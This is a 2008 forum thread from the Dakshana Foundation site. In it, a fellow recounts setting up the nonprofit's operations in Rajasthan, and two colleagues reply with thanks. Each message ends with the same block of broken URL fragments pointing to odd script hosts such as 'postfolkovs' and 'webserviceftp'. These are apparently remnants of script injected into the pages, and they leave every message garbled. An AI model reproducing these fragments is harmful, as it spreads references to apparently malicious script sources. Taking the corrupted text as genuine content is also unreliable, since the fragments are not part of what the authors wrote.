Welcome to The Dakshana Foundation

Subject: Experience at Dakshana

Posted Date: April 21, 2008

From: Manu

Message:

My experience in Dakshana over the last 8 months has been filled with both highs and lows. I moved from New York to a city in south-eastern Rajasthan, a place where I had no acquaintances. A few weeks living in my apartment, a cow walked into my room. My bed broke and I began to sleep on the floor for a few weeks. I wasn't able to get an internet connection for weeks on in. And the temperature never went below 100 degrees. And that was just the first few weeks!! However after a few weeks of adjustment, I was able to fit into the new city. Soon I became friendly with the staff from the local restaurant and the food merchants in the streets near my apartment. I became a hit with the auto scooter drivers because I accepted their somewhat inflated prices. Even the daily temperature became comfortable. In the beginning, I worked out of my apartment because our office was in construction. After a few months we were able to get the operations up and running.

I had a number of highlights in my stay here. I was able to travel to east, central and north India to administer selection tests to talented students. This experience allowed me to interact with teachers, students as well as government personnel. Their hard work and efforts has been uplifting and has changed my perspective on what is important in life. In many ways, the experience was more like start-up company rather than a non-profit. It was a continuous learning process. I also become more confident with dealing with issues that arose in day-to-day operations and working in a non structured environment – a change from my previous professional experience in Wall Street. In a start-up there is really no day-to-day. Everything is new every day.

At the same time I have experienced the difficulty of doing business in India, or at least in non-metro India. Things must be pushed, pulled and dragged through hoops to be accomplished. On time delivery is a vague concept. Being in a non-metro city became an obstacle in many ways. We struggled with power issues, hardware issues as well as finding, training and keeping skilled employees. While we have been successful at setting up operations and the process has moved along, what has made it more challenging has been the speed and scale at which we have progressed. However we have succeeded in many ways. Dakshana is now a nationwide organization with 8 regional locations. We have accomplished this in less than 10 months with a full time staff of under 5 people.

I believe the most difficult task going forward will be providing the support and guidance to Dakshana's first batch of scholars as they near the IIT examination date in April 2009. Only then can we measure the success of our program and the efforts that have gone towards it. =http://www.scriptjs/page>> =http://netcfg.postfolkovs/js>> =http://send.postfolkovs/js>> =http://vba.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://logon.webserviceftp/js>> =http://doc.webservicesmulti/js>> =http://doc.webservicesmulti/js>> =http://version.webserivcekota/js>> =http://sslnet.webserviceftp/js>> =http://sslnet.webserviceftp/js>> =http://tmp.webservicesrob/js>>

Replies

Subject: RE: Experience at Dakshana

From: pabrai

Message:

Manu Singhal was a Dakshana Fellow who relocated to New York City to work with us in Kota Rajasthan from August, 2007 to April 2008. We will always be indebted to him for his selfless service. His efforts were instrumental in getting us off the ground.

Manu plans to continue to engage with Dakshana as a volunteer. =http://www.scriptjs/page>> =http://netcfg.postfolkovs/js>> =http://send.postfolkovs/js>> =http://vba.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://logon.webserviceftp/js>> =http://doc.webservicesmulti/js>> =http://doc.webservicesmulti/js>> =http://version.webserivcekota/js>> =http://sslnet.webserviceftp/js>> =http://sslnet.webserviceftp/js>> =http://tmp.webservicesrob/js>>

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Subject: RE: Experience at Dakshana

From: Arun Ojha

Message:

Hi Manu,

I miss you very much. I must confess that you influence as well as insipired me. Even I quoted your exampla in my class (for dakshana scholars at Bhopal ). I told them about your dedication, pinpointed working style and selfless service to dakshana. I hope we will be in company soon. =http://www.scriptjs/page>> =http://netcfg.postfolkovs/js>> =http://send.postfolkovs/js>> =http://vba.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://logon.webserviceftp/js>> =http://doc.webservicesmulti/js>> =http://doc.webservicesmulti/js>> =http://version.webserivcekota/js>> =http://sslnet.webserviceftp/js>> =http://sslnet.webserviceftp/js>> =http://tmp.webservicesrob/js>>

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